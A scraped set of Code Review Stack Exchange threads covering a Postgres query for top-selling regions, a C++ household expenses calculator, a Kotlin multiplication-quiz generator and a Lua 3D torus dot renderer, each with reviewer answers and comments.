<p><a href="https://i.stack.imgur.com/jp4ghm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jp4ghm.png" alt="enter image description here" /></a></p>
<p>(I am unsure of the dialect is but I think it is <code>Postgres</code>)</p>
<p>I came up with the following solution and I wonder if am committing any bad practice (since the official solution is very different).</p>
<pre><code>SELECT
r.name AS region_name,
COUNT(*) AS orders_n
FROM ORDERS AS o
INNER JOIN accounts AS a
ON o.account_id = a.id
INNER JOIN sales_reps as s
ON a.sales_rep_id = s.id
INNER JOIN region as r
ON s.region_id = r.id
GROUP BY 1
ORDER BY SUM(o.total_amt_usd) DESC
LIMIT 1;
</code></pre>
<p>Official solution:</p>
<pre><code>WITH t1 AS (
SELECT r.name region_name, SUM(o.total_amt_usd) total_amt
FROM sales_reps s
JOIN accounts a
ON a.sales_rep_id = s.id
JOIN orders o
ON o.account_id = a.id
JOIN region r
ON r.id = s.region_id
GROUP BY r.name),
t2 AS (
SELECT MAX(total_amt)
FROM t1)
SELECT r.name, COUNT(o.total) total_orders
FROM sales_reps s
JOIN accounts a
ON a.sales_rep_id = s.id
JOIN orders o
ON o.account_id = a.id
JOIN region r
ON r.id = s.region_id
GROUP BY r.name
HAVING SUM(o.total_amt_usd) = (SELECT * FROM t2);
</code></pre>
<hr />
<p><sub>* This is a part of exercise 4.13 of a great <a href="https://classroom.udacity.com/courses/ud198" rel="nofollow noreferrer">online course</a> by Udacity. </sub></p>
|
[] |
[
{
"body": "<p>Your solution honestly sounds great and better than proposed solution in readability, length, probably performance as well (although it's never too easy to know the engine complexity based on how they optimizes requests). And from my understanding there is no semantic difference.</p>\n<p>Some nitpicks: I indent request differently, and I use the column name rather than index in the <code>GROUP BY</code></p>\n<pre><code>SELECT r.name AS region_name,\n COUNT(*) AS orders_n\n FROM orders AS o\n INNER JOIN accounts AS a\n ON o.account_id = a.id\n INNER JOIN sales_reps AS s\n ON a.sales_rep_id = s.id\n INNER JOIN region AS r\n ON s.region_id = r.id \n GROUP BY region_name\n ORDER BY SUM(o.total_amt_usd) DESC\n LIMIT 1;\n</code></pre>\n<p>The request optimization engine will equally optimize your request and decide itself the join order if you use a WHERE clause. So you can also write it like this</p>\n<pre><code>SELECT r.name AS region_name,\n COUNT(*) AS orders_n\n FROM orders AS o,\n accounts AS a,\n sales_reps AS s,\n region AS r\n WHERE o.account_id = a.id \n AND a.sales_rep_id = s.id\n AND s.region_id = r.id \n GROUP BY region_name\n ORDER BY SUM(o.total_amt_usd) DESC\n LIMIT 1;\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T12:50:48.607",
"Id": "255283",
"ParentId": "255281",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T10:34:19.010",
"Id": "255281",
"Score": "1",
"Tags": [
"sql",
"postgresql"
],
"Title": "Avoding CT and other sins?"
}
|
255281
|
<p>I would really appreciate feedback on my OOP Household Outgoings calculator. My objective is to develop in OOP. Have I used good OOP techniques? How can I improve on it? And anything else you might add. Thank you very much in advance for anyone who spends their time reviewing it. I've learned so much from this site and it has made me a better programmer. Please note, I've used Hungarian notation and I know its bad but I do have my reasons for using it. Also, I know everything hasn't been validated in terms of inputs but I just want a review on how well I've used OOP. Many thanks!</p>
<p>This is an example output of my program. Note: A fake address.</p>
<p><a href="https://i.stack.imgur.com/JUipW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JUipW.png" alt=" {return household.get_address() == address; });
}
void add_household_to_system(std::string address) {
m_objHouseholds.emplace_back(address);
}
auto& newly_added_household() {
return m_objHouseholds.back();
}
};
bool confirm_continue() {
unsigned char cOption = 0;
do {
std::cin >> cOption;
cOption = tolower(cOption);
if (cOption == 'y') {
return true;
}
else if (cOption == 'n') {
return false;
}
else
{
std::cout << "Your answer wasn't decisive, enter either y or n: ";
continue;
}
} while (true);
}
void display_outgoings_report(const Household &objHousehold) {
objHousehold.display_household_adults();
std::cout << "Household's Outgoing Total Cost: " << char(156) << objHousehold.calculate_monthly_total_expenditure() << "\n";
std::cout << " . Bills total cost: " << char(156) << objHousehold.calculate_monthly_bill_costs() << "\n";
std::cout << " . Pleasure total cost: " << char(156) << objHousehold.calculate_monthly_pleasure_costs() << "\n";
objHousehold.display_household_bills();
std::cout << "Monthly savings: " << char(156) << objHousehold.calculate_monthly_savings() << "\n";
std::cout << "Total yearly expenditure: " << char(156) << objHousehold.calculate_yearly_expenditure() << "\n";
std::cout << " . Yearly Bill expenditure: " << char(156) << objHousehold.calculate_yearly_bill_costs() << "\n";
std::cout << " . Yearly Pleasure expenditure: " << char(156) << objHousehold.calculate_yearly_pleasure_costs() << "\n";
}
void establish_new_household(HomeownerBreakdownSystem &objSystem) {
std::string sHousehold;
std::cout << "Enter the address of household: ";
std::getline(std::cin >> std::ws, sHousehold);
objSystem.add_household_to_system(sHousehold);
}
void enter_occupants_for_new_household(Household& objHousehold) {
std::string sName;
double dMonthlySalary = 0;
unsigned char cOption = 0;
do
{
std::cout << "\nEnter occupant's name: ";
std::getline(std::cin >> std::ws, sName);
std::cout << "Enter occupant's monthly income " << char(156);
std::cin >> dMonthlySalary;
objHousehold.add_person_to_household(Person{ sName, dMonthlySalary });
std::cout << "Do you wish to add another to " << objHousehold.get_address() << "? (y/n): ";
if (confirm_continue()) {
continue;
}
else
{
return;
}
} while (true);
}
void enter_monthly_bills_to_pay_for_new_household(Household& objHousehold) {
std::string sBillName;
double dCostPerMonth = 0;
unsigned char cOption = 0;
do
{
std::cout << "\nEnter bill's name: ";
std::getline(std::cin >> std::ws, sBillName);
std::cout << "Enter bill's monthly cost: " << char(156);
std::cin >> dCostPerMonth;
objHousehold.add_new_monthly_bill(Outgoing{ sBillName, dCostPerMonth });
std::cout << "Do you wish to add another to bill? (y/n): ";
if (confirm_continue()) {
continue;
}
else
{
return;
}
} while (true);
}
void enter_monthly_pleasure_costs_for_new_household(Household& objHousehold) {
std::string sPleasureName;
double dCostPerMonth = 0;
unsigned char cOption = 0;
do
{
std::cout << "\nEnter pleasure's name: ";
std::cin >> sPleasureName;
std::cout << "Enter pleasure's monthly cost: " << char(156);
std::cin >> dCostPerMonth;
objHousehold.add_new_monthly_pleasure_cost(Outgoing{sPleasureName, dCostPerMonth});
std::cout << "Do you wish to add another pleasure cost? (y/n): ";
if (confirm_continue()) {
continue;
}
else
{
return;
}
} while (true);
}
int main()
{
HomeownerBreakdownSystem objSystem;
establish_new_household(objSystem);
enter_occupants_for_new_household(objSystem.newly_added_household());
enter_monthly_bills_to_pay_for_new_household(objSystem.newly_added_household());
enter_monthly_pleasure_costs_for_new_household(objSystem.newly_added_household());
display_outgoings_report(objSystem.newly_added_household());
}
</code></pre>
|
[] |
[
{
"body": "<p>Here are some things that may help you improve your program.</p>\n<h2>Use the required <code>#include</code>s</h2>\n<p>The code uses <code>std::find_if</code> which means that it should <code>#include <algorithm></code>. It was not difficult to infer, but it helps reviewers if the code is complete.</p>\n<h2>Eliminate unused variables</h2>\n<p>Within <code>enter_occupants_for_new_household</code>, <code>enter_monthly_bills_to_pay_for_new_household</code>, and <code>enter_monthly_pleasure_costs_for_new_household</code> the variable <code>cOption</code> is declared and set, but it is otherwise unused. It should be omitted from the program in all three places.</p>\n<h2>Avoid overly long names</h2>\n<p>In writing this review, I typed <code>calculate_monthly_pleasure_costs</code> many times. It's exhausting! Show some mercy on other programmers and use shorter names.</p>\n<h2>Don't write getters and setters for every class</h2>\n<p>C++ isn't Java and writing getter and setter functions for every C++ class is not good style. Instead, move setter functionality into constructors and think very carefully about whether a getter is needed at all. In this code, the <code>Person</code> class has public setters and getters for both name and monthly income. If it's really desired that anything can independently set either data member, then it should be a <code>struct</code> instead. See <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rc-struct\" rel=\"nofollow noreferrer\">C.2</a> for details.</p>\n<h2>Use wide strings as needed</h2>\n<p>The code currently includes this peculiar line:</p>\n<pre><code>std::cout << "Enter occupant's monthly income " << char(156);\n</code></pre>\n<p>It's peculiar because of the <code>char(156)</code> at the end. What you were trying to do is to print '£' but that's not the way to go about it. Instead, write the line like this:</p>\n<pre><code>std::cout << "Enter occupant's monthly income £";\n</code></pre>\n<p>Note that, depending on the current <a href=\"https://en.cppreference.com/w/cpp/locale/locale\" rel=\"nofollow noreferrer\"><code>locale</code></a>, however, this may or may not render properly. See <a href=\"https://stackoverflow.com/questions/26387054/how-can-i-use-stdimbue-to-set-the-locale-for-stdwcout\">this question</a> for how to set it explicitly.</p>\n<h2>Don't include type information within variable names</h2>\n<p>When you write something like <code>m_dMonthlyIncome</code> in an apparent effort to convey this is a <code>double</code>, you actually actively harm your code. It makes it less readable, more prone to maintenance problems and it's just generally a bad idea for a strongly typed language like C++. See <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#nl5-avoid-encoding-type-information-in-names\" rel=\"nofollow noreferrer\">NL.5</a>.</p>\n<h2>Fix the bug</h2>\n<p>There is an error in <code>calculate_monthly_pleasure_costs</code> in that it only looks at the first expenditure rather than all of them. This is easily fixed by using the following suggestion.</p>\n<h2>Use standard algorithms</h2>\n<p>Instead of writing a loop, I'd be inclined to use <a href=\"https://en.cppreference.com/w/cpp/algorithm/accumulate\" rel=\"nofollow noreferrer\"><code>std::accumulate</code></a> to calculate the sum. We could use a lambda to add things, but I think it would make some sense to create an <code>operator+</code> for the <code>Outgoing</code> class instead. Here's one way to do that.</p>\n<pre><code>double operator+(double a, const Outgoing& bill) {\n return a + bill.get_cost_per_month();\n}\n</code></pre>\n<p>Now we can rewrite <code>calculate_monthly_pleasure_costs</code>:</p>\n<pre><code>double calculate_monthly_pleasure_costs() const {\n return std::accumulate(objPleasureCosts.begin(), objPleasureCosts.end(), 0);\n}\n</code></pre>\n<p>I'm a bit skeptical that we really need so many special functions, however, which leads to the next suggestion.</p>\n<h2>Minimize the class interface</h2>\n<p>A good, usable interface is minimal but suffient. That would suggest that many of the functions, such as <code>calculate_total_monthly_outgoing_costs</code>, <code>calculate_yearly_bill_costs</code>, <code>calculate_monthly_bill_costs</code> could easily be dropped. Assume your users can multiply by 12 or add two numbers together.</p>\n<h2>Separate input, output and calculation</h2>\n<p>To the degree practical it's usually good practice to separate input, output and calculation for programs like this. By putting them in separate functions, it isolates the particular I/O for your platform (which is likely to be unique to that platform or operating system) from the logic of your program (which does not depend on the underlying OS). Specifically, <code>enter_monthly_bills_to_pay_for_new_household</code> takes a reference to a <code>Household</code> object and returns <code>void</code>. I'd suggest a better way to do it would be to take no parameters and return an <code>Outgoing</code> class instance.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:16:25.303",
"Id": "503704",
"Score": "0",
"body": "Thanks very much for your review! Extremely instructive and have learned a great deal. I had a feeling my long variable names would be pointed out. Shall definitely make them shorter. Thanks for the overloading of the + operator suggestion! This is brilliant and will be applying it. Must have missed out the very top line when I copied and pasted this code as in my program the algorithm header is included. Thanks again!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T20:17:06.380",
"Id": "255300",
"ParentId": "255287",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255300",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:23:53.123",
"Id": "255287",
"Score": "1",
"Tags": [
"c++11"
],
"Title": "Household Outgoings Calculator (OOP)"
}
|
255287
|
<p>See this link for previous post on this subject <a href="https://codereview.stackexchange.com/questions/254554/generating-mathematical-questions-and-answers/254566?noredirect=1#comment503660_254566">Generating mathematical questions and answers</a></p>
<p>I have an Android quiz app that I am building to learn kotlin / android app development. Here is an object I have which acts as one of many question builders.</p>
<p>Since my last post I have:</p>
<ul>
<li>broken down the main method into smaller methods as per advice given</li>
<li>renamed the variables/values so that they have better meaning</li>
<li>started using val instead of var where possible - Setting vals in <code>when</code> statements dont seem to work well for me, is this an example where var is best used like I do or is there a way to make vals work here too?</li>
<li>switched from using secure random which was not necessary for my use case</li>
<li>removed some duplication and even hard coded some values where previously I was using a variable which was being set and used in the same line of code</li>
</ul>
<p>My object:</p>
<pre><code>object test{
fun newQ(context: Context,mainLevel:Int, subLevel:Int, isBonusRound:Boolean, gameType:String): SingleQuestion {
val level = determineLevel(gameType, mainLevel) // Used to determine the level which can vary between mini games
var numbers = initialiseNumbers() // Set an array of Int's to be used when creating a sum (question)
val operations = determineOperations(level) // how many mathematical calculations will be needed to get to the correct answer?
numbers = processNumbersStep2(isBonusRound,mainLevel,subLevel,numbers) //adjust numbers to suit level / bonus game
val (question,answer) = createQuestion(context,isBonusRound,operations,numbers,level) //create the question and the answer
val timeLimitPerQuestion = getTimeLimit(isBonusRound,operations,level) // how many seconds (as an Int) to give them to answer this question
return SingleQuestion(question,answer,timeLimitPerQuestion) // return the question, the answer and the time limit
}
}
// Function to provide a random number. Set the lowest number and highest number.
private fun rand(start: Int, end: Int): Int {
require(start <= end) { "Illegal Argument" }
val random = Random.Default
return random.nextInt(start, end + 1)
}
// function to determine level due to differences in how mini games are structured (one had less levels so I map them here to the broader level structure)
private fun determineLevel(gameType:String,mainLevel:Int):Int{
var updatedMainLevel = 0
if (gameType=="FreeStyle"){
when (mainLevel){
1->{updatedMainLevel = rand(1,3)} // aka Easy
2->{updatedMainLevel = rand(4,5)} // aka Normal
3->{updatedMainLevel = rand(6,8)} // aka Hard
4->{updatedMainLevel = rand(9,10)} // aka Impossible
}
} else {updatedMainLevel = mainLevel
}; return updatedMainLevel
}
// create base numbers for use in sums, these may manipulated later depending on level etc
private fun initialiseNumbers() :Array<Int>{
var num1 = 0;var num2 = 0;var num3 = 0;var num4 = 0
when(rand(1,23)){
1->{num1 = rand(1,5); num2 = rand(1,5)}
2->{num1 = rand(2,6);num2 = rand(1,5)}
3->{num1 = rand(3,7);num2 = rand(1,5)}
4->{num1 = rand(4,8);num2 = rand(1,5)}
5->{num1 = rand(5,9);num2 = rand(1,5)}
6->{num1 = rand(6,10);num2 = rand(7,11)}
7->{num1 = rand(1,5);num2 = rand(6,10)}
8->{num1 = rand(2,6);num2 = rand(5,9)}
9->{num1 = rand(3,7);num2 = rand(4,8)}
10->{num1 = rand(4,8);num2 = rand(3,7)}
11->{num1 = rand(5,9);num2 = rand(2,6)}
12->{num1 = rand(6,10);num2 = rand(1,5)}
13->{num1 = rand(1,5);num2 = rand(1,5)}
14->{num1 = rand(2,6);num2 = rand(2,6)}
15->{num1 = rand(3,7);num2 = rand(3,7)}
16->{num1 = rand(4,8);num2 = rand(4,8)}
17->{num1 = rand(5,9);num2 = rand(5,9)}
18->{num1 = rand(6,10);num2 = rand(6,10)}
19->{num1 = rand(1,5);num2 = rand(1,5)}
20->{num1 = rand(1,5);num2 = rand(2,6)}
21->{num1 = rand(1,5);num2 = rand(3,7)}
22->{num1 = rand(1,5);num2 = rand(4,8)}
23->{num1 = rand(1,5);num2 = rand(5,9)}
else->{num1 = rand(1,5);num2 = rand(5,9)}
}
num3 = rand(2,6);num4 = rand(4,8)
return arrayOf(num1,num2,num3,num4)
}
private fun determineOperations(level:Int):Int{
var calculationsRequired = 0
when(level){
in 1..5-> calculationsRequired = 1
in 6..10-> calculationsRequired = 2
else -> calculationsRequired = 1
}
return calculationsRequired
}
private fun processNumbersStep2(isBonusRound: Boolean,mainLevel: Int,subLevel: Int,numbers:Array<Int>):Array<Int>{
var num1=0;var num2=0;var num3=0;var num4=0
if (!isBonusRound){
when(mainLevel){
1->{num1 = subLevelModifier(subLevel,numbers[0],0);num2 = subLevelModifier(subLevel,numbers[1],0)}
2->{num1 = subLevelModifier(subLevel,numbers[0],1);num2 = subLevelModifier(subLevel,numbers[1],1)}
3->{num1 = subLevelModifier(subLevel,numbers[0],2);num2 = subLevelModifier(subLevel,numbers[1],2)}
4->{num1 = subLevelModifier(subLevel,numbers[0],3);num2 = subLevelModifier(subLevel,numbers[1],3)}
5->{num1 = subLevelModifier(subLevel,numbers[0],4);num2 = subLevelModifier(subLevel,numbers[1],4)}
6->{num1 = subLevelModifier(subLevel,numbers[0],0);num2 = subLevelModifier(subLevel,numbers[1],0);num3 = subLevelModifier(subLevel,numbers[0],0)}
7->{num1 = subLevelModifier(subLevel,numbers[0],1);num2 = subLevelModifier(subLevel,numbers[1],1);num3 = subLevelModifier(subLevel,numbers[0],1)}
8->{num1 = subLevelModifier(subLevel,numbers[0],2);num2 = subLevelModifier(subLevel,numbers[1],2);num3 = subLevelModifier(subLevel,numbers[0],2)}
9->{num1 = subLevelModifier(subLevel,numbers[0],3);num2 = subLevelModifier(subLevel,numbers[1],3);num3 = subLevelModifier(subLevel,numbers[0],3)}
10->{num1 = subLevelModifier(subLevel,numbers[0],4);num2 = subLevelModifier(subLevel,numbers[1],4);num3 = subLevelModifier(subLevel,numbers[0],4)}
}
} else {
when(mainLevel){
in 1..3->{num1 = subLevelModifier(subLevel,numbers[0],0);num2 = subLevelModifier(subLevel,numbers[1],0);num3 = subLevelModifier(subLevel,numbers[2],0);num4 = subLevelModifier(subLevel,numbers[3],0)}
in 4..5->{num1 = subLevelModifier(subLevel,numbers[0],2);num2 = subLevelModifier(subLevel,numbers[1],2);num3 = subLevelModifier(subLevel,numbers[2],2);num4 = subLevelModifier(subLevel,numbers[3],2)}
in 6..8->{num1 = subLevelModifier(subLevel,numbers[0],4);num2 = subLevelModifier(subLevel,numbers[1],4);num3 = subLevelModifier(subLevel,numbers[2],4);num4 = subLevelModifier(subLevel,numbers[3],4)}
in 9..10->{num1 = subLevelModifier(subLevel,numbers[0],6);num2 = subLevelModifier(subLevel,numbers[1],6);num3 = subLevelModifier(subLevel,numbers[2],6);num4 = subLevelModifier(subLevel,numbers[3],6)}
}
}
return arrayOf(num1,num2,num3,num4)
}
private fun createQuestion(context: Context,isBonusRound: Boolean,operations:Int,numbers:Array<Int>,level:Int):Pair<String,Int>{
var question = "";var answer = 0
if (!isBonusRound){
when (operations){
1-> {
answer = numbers[0] * numbers[1]
question = context.getString(R.string.mulQ_num1_x_num2,numbers[0],numbers[1])}
2-> {
answer = (numbers[0] * numbers[1]) * numbers[2]
question = context.getString(R.string.mulQ_num1_x_num2_x_num3,numbers[0],numbers[1],numbers[2])}
else->{
answer = numbers[0] * numbers[1]
question = context.getString(R.string.mulQ_num1_x_num2,numbers[0],numbers[1])}
}
} else {
when (rand(1,4)){
1->{
answer = (numbers[0] * numbers[1]) + (numbers[2] * numbers[3])
question = context.getString(R.string.mulQ_num1_x_num2_add_num3_x_num4,numbers[0],numbers[1],numbers[2],numbers[3])}
2->{
answer = numbers[0] + (numbers[1] * numbers[2]) + numbers[3]
question =context.getString(R.string.mulQ_num1_add_num2_x_num3_add_num4,numbers[0],numbers[1],numbers[2],numbers[3])}
3->{
answer = ((numbers[0] * numbers[1]) + numbers[2]) - numbers[3]
question =context.getString(R.string.mulQ_num1_x_num2_add_num3_minus_num4,numbers[0],numbers[1],numbers[2],numbers[3])}
4->{
answer = numbers[0] + (numbers[1] * numbers[2]) - numbers[3]
question =context.getString(R.string.mulQ_num1_x_num2_add_num3_minus_num4,numbers[0],numbers[1],numbers[2],numbers[3])}
}
}
return Pair(question,answer)
}
//This function is aimed at providing an optimisation capability.
// sb levels are 1-25 e.g sub level 1 increases each number by 1.01% up to 1.25% (1% increase to 25% increase)
// you can lower the division factor (e.g. /100 to /50) to create bigger gaps between sub levels
private fun subLevelModifier(subLevel:Int, num:Int, increment:Int):Int{
var multiplier = ((subLevel /100 )+1).toDouble()
var newNum = ((num + increment) * multiplier).roundToInt()
return newNum
}
private fun getTimeLimit(isBonusRound: Boolean, operations: Int, level: Int): Int {
var addTimeForBonusRound = 0;var addTimeForOperations = 0
if (isBonusRound) {addTimeForBonusRound = +2}
if (operations>1) {addTimeForOperations = +1}
val addTimeForLevel = ((level*0.6)+2).roundToInt()
return (addTimeForBonusRound+addTimeForOperations+addTimeForLevel)
}
</code></pre>
|
[] |
[
{
"body": "<p>I have some suggestions that are in general more nitpicky than the answer to your previous question, since you've addressed most of that.</p>\n<ol>\n<li>Your comment says <code>sublevel</code> is in the range 0-25, but you divide it by 100 using integer math, so this line will evaluate to 1.0 every time.</li>\n</ol>\n<pre><code>var multiplier = ((subLevel /100 )+1).toDouble()\n</code></pre>\n<p>Also, <code>multiplier</code> should be a <code>val</code> and <code>newNum</code> eliminated since you can return the expression directly.</p>\n<ol start=\"2\">\n<li><p>Naming convention is for all classes (including <code>object</code>) to start with a capital letter, so your object should be named <code>Test</code>.</p>\n</li>\n<li><p><code>determineOperations()</code> is needlessly verbose with the use of the variable and when statement. It could just be:</p>\n</li>\n</ol>\n<pre><code>private fun determineOperations(level: Int): Int{\n return if (level in 6..10) 2 else 1\n}\n</code></pre>\n<ol start=\"4\">\n<li>Your function <code>rand()</code> also sets up a variable just to use it one time. You can collapse such uses into simpler statements. Occasionally, it makes sense to create the variable so the following expression is easier to read, but this is of course not one of those cases. Also, <code>Random.Default</code> is a companion object of <code>Random</code>, so you can omit its name.</li>\n</ol>\n<pre><code>private fun rand(start: Int, end: Int): Int {\n require(start <= end) { "Illegal Argument" }\n return Random.nextInt(start, end + 1)\n}\n</code></pre>\n<ol start=\"5\">\n<li><code>processNumbersStep2()</code> has a lot of code calling the same functions, and I think I see some patterns. I don't really understand your algorithm, but I think this would be equivalent to what you have now and carry less likelihood of typos and be easier to update if you need to later:</li>\n</ol>\n<pre><code>private fun processNumbersStep2(isBonusRound: Boolean,mainLevel: Int,subLevel: Int,numbers:Array<Int>):Array<Int>{\n if (!isBonusRound){\n val increment = mainLevel % 5\n val num1 = subLevelModifier(subLevel, numbers[0], increment)\n val num2 = subLevelModifier(subLevel, numbers[1], increment)\n val num3 = if (mainLevel <= 5) 0 else num1\n return arrayOf(num1, num2, num3, 0)\n } else {\n val increment = when(mainLevel){\n in 1..3 -> 0\n in 4..5 -> 2\n in 6..8 -> 4\n else -> 6\n }\n return numbers\n .map { subLevelModifier(subLevel, it, increment) }\n .toTypedArray()\n }\n}\n</code></pre>\n<p>Maybe <code>initialiseNumbers</code> could be simplified in a similar way, but I don't see an easy way to break down <code>num2</code>.</p>\n<ol start=\"6\">\n<li><p>One of the design goals of Kotlin is to provide easy ways to make code more robust by avoiding mutability. List should be preferred to Array except when performance demands mutability. You are not currently even using the mutability provided by Array, so it would be very easy to swap in Lists.</p>\n</li>\n<li><p>All your uses of <code>context.getString</code> could take advantage of the spread operator, for example:</p>\n</li>\n</ol>\n<pre><code>question = context.getString(R.string.mulQ_num1_x_num2_add_num3_x_num4, *numbers)\n</code></pre>\n<p>You don't need to worry about some of the format strings not using the third and fourth values. They'll just be ignored. If you switch to List as I suggested in 6, you would use <code>*numbers.toTypedArray()</code>.</p>\n<ol start=\"8\">\n<li>Your <code>var</code>s in <code>getTimeLimit</code> can be simplified into <code>val</code>s, such as:</li>\n</ol>\n<pre><code>private fun getTimeLimit(isBonusRound: Boolean, operations: Int, level: Int): Int {\n val addTimeForBonusRound = if (isBonusRound) 2 else 0\n val addTimeForOperations = if (operations > 1) 1 else 0\n val addTimeForLevel = ((level * 0.6) + 2).roundToInt()\n return addTimeForBonusRound + addTimeForOperations + addTimeForLevel\n}\n</code></pre>\n<ol start=\"9\">\n<li>Just a suggestion. Spaces around operators, inside brackets, and after commas help with readability. And multiple statements in a single line with semicolons is very bad for readability.</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T11:35:40.827",
"Id": "504250",
"Score": "0",
"body": "Thank you for this. I have read it through and can see where you are coming from, I'll review it properly when at my laptop and see what adjustments I can make"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T11:43:13.097",
"Id": "504252",
"Score": "0",
"body": "Just one question, I'll test it of course myself to see what you are saying but where you mention integer maths does making it a double as part of the calculation do nothing?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T13:23:38.457",
"Id": "504263",
"Score": "0",
"body": "Based on your parentheses, you are only making it a double after division, so you are converting 1 to 1.0."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-07T16:22:33.187",
"Id": "504664",
"Score": "0",
"body": "ok so basically I need to do this? val multiplier = (subLevel.toDouble() /100 )+1"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-07T16:25:46.753",
"Id": "504666",
"Score": "0",
"body": "Yes. Personally, I like to be explicit, and would also use 100.0 and 1.0. The programming version of PEMBAS is more complicated and not consistent across all languages, so I think it's better practice not to rely on the rules of conversion order when they are rules that may vary from language to language."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-07T16:27:27.717",
"Id": "504667",
"Score": "0",
"body": "ok thank you. I will look at this includiong your other comments over the next few days"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:10:15.547",
"Id": "255387",
"ParentId": "255289",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255387",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:35:49.747",
"Id": "255289",
"Score": "2",
"Tags": [
"android",
"classes",
"kotlin"
],
"Title": "Generating multiplication questions and answers for a quiz style app"
}
|
255289
|
<p>I'm a total beginoob in Lua. The aim is to display a 3D Torus in dots (see Figure1), or at least compute the positions, privileging clarity over performance. <a href="https://64nops.wordpress.com/2021/01/21/rosetta-sugar-japprends-a-coder-avec-mon-cpc/" rel="noreferrer">Pseudocode link.</a></p>
<p>Don't hesitate to be picky, I'd like to learn proper Lua idioms.
For instance, I was pleased to find operator overloading, but couldn't find a neat way to bind it to my "matrix type" by default.</p>
<p><a href="https://i.stack.imgur.com/Ktxuq.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Ktxuq.png" alt="enter image description here" /></a></p>
<pre class="lang-lua prettyprint-override"><code>-- Bake dot-donut. Based on pseudo-code here:
-- https://64nops.wordpress.com/2021/01/21/rosetta-sugar-japprends-a-coder-avec-mon-cpc/
-- Main parameters to play with.
r, r2 = 100, 20 -- Major and minor radius
dist = 200 -- Distance from observator. Should be greater than major radius
zoom = 300
dots_per_circle = 100
nbcircles = 200
-- pi is wrong!
local tau = 2*math.pi
local cos = math.cos
local sin = math.sin
-- For operator overloading
metamatrix = {}
-- Rotation matrice around x axis
function rotx(a)
local c, s = cos(a), sin(a)
res = {{1, 0, 0},
{0, c, -s},
{0, s, c}}
setmetatable(res, metamatrix)
return res
end
-- Rotation matrice around y axis
function roty(a)
local c, s = cos(a), sin(a)
res = {{c, 0, -s},
{0, 1, 0},
{s, 0, c}}
setmetatable(res, metamatrix)
return res
end
-- Rotation matrice around z axis
function rotz(a)
local c, s = cos(a), sin(a)
res = {{c, -s, 0},
{s, c, 0},
{0, 0, 1}}
setmetatable(res, metamatrix)
return res
end
-- Multiplication of matrices (m rows n cols) * (n rows p cols)
function metamatrix.__mul(A, B)
local res = {}
for i = 1, #A do
res[i] = {}
for j = 1, #B[1] do -- TODO? Handle empty matrix.
local s = 0
for k = 1, #B do
s = s + A[i][k] * B[k][j]
end
res[i][j] = s
end
end
setmetatable(res, metamatrix)
return res
end
-- Abstract the encoding of position (x y z).
-- Here, we choose column vector convention,
-- to be compatible with left multiplication by rotation matrices.
function dot(x, y, z)
return {{x},
{y},
{z}}
end
function undot(dot)
return dot[1][1],
dot[2][1],
dot[3][1]
end
-- 3d to 2d
function proj(x, y, z)
local z2 = z + dist
return x/z2 * zoom, y/z2 * zoom
end
-- List of regularly spaced dots from a circle of radius r' at distance x = r in the plane XOY.
circle = {}
for i = 1, dots_per_circle do
local a = (i-1) * tau / dots_per_circle
circle[i] = dot(cos(a)*r2+r, sin(a)*r2, 0)
end
-- Now the torus is a surface of revolution.
torus = {}
for i = 1, nbcircles do
local a = (i-1) * tau / nbcircles
for _, dot in pairs(circle) do
table.insert(torus, roty(a) * dot)
end
end
-- Let's tilt it.
tilt = rotx(0.5) * rotz(0.3)
torus2 = {}
for _, dot in pairs(torus) do
table.insert(torus2, tilt * dot)
end
-- Project to 2D and serialize.
for _, dot in pairs(torus2) do
local x, y, z = undot(dot)
xp, yp = proj(x, y, z)
print(xp, yp)
end
</code></pre>
|
[] |
[
{
"body": "<ol>\n<li><p>You've named the radii as <code>r</code> and <code>r2</code>, which to me would read as <span class=\"math-container\">\\$ r \\$</span> and <span class=\"math-container\">\\$ r ^ 2 \\$</span>; if they are different radii values, you should use names like <code>r1</code> and <code>r2</code> instead. This is exactly what the author does in their <code>BASIC</code> implementation.</p>\n</li>\n<li><p>Use <code>local</code>s until you don't. This makes importing your project easier, without dirtying the namespace.</p>\n</li>\n<li><p>Split matrix code as a separate file. Not really necessary for a single file script.</p>\n</li>\n<li><p>You can reduce some calculation in the <code>proj</code> function:</p>\n<pre class=\"lang-lua prettyprint-override\"><code>function proj(x, y, z)\n local multiplier = zoom / (z + dist)\n return x * multiplier, y * multiplier\nend\n</code></pre>\n</li>\n<li><p>Where do the magic numbers <span class=\"math-container\">\\$ 0.5 \\$</span> and <span class=\"math-container\">\\$ 0.3 \\$</span> come from? The pseudo code uses <span class=\"math-container\">\\$ 0.7 \\$</span> for the 2nd one, how does it affect the rotation? The constants themselves should be defined at the beginning, with a little comment/description.</p>\n</li>\n<li><p>You can take some hints on managing metatable and matrix itself by taking a look at the <a href=\"https://github.com/davidm/lua-matrix/blob/master/lua/matrix.lua\" rel=\"nofollow noreferrer\">source code of lua-matrix</a> project, or some other lua 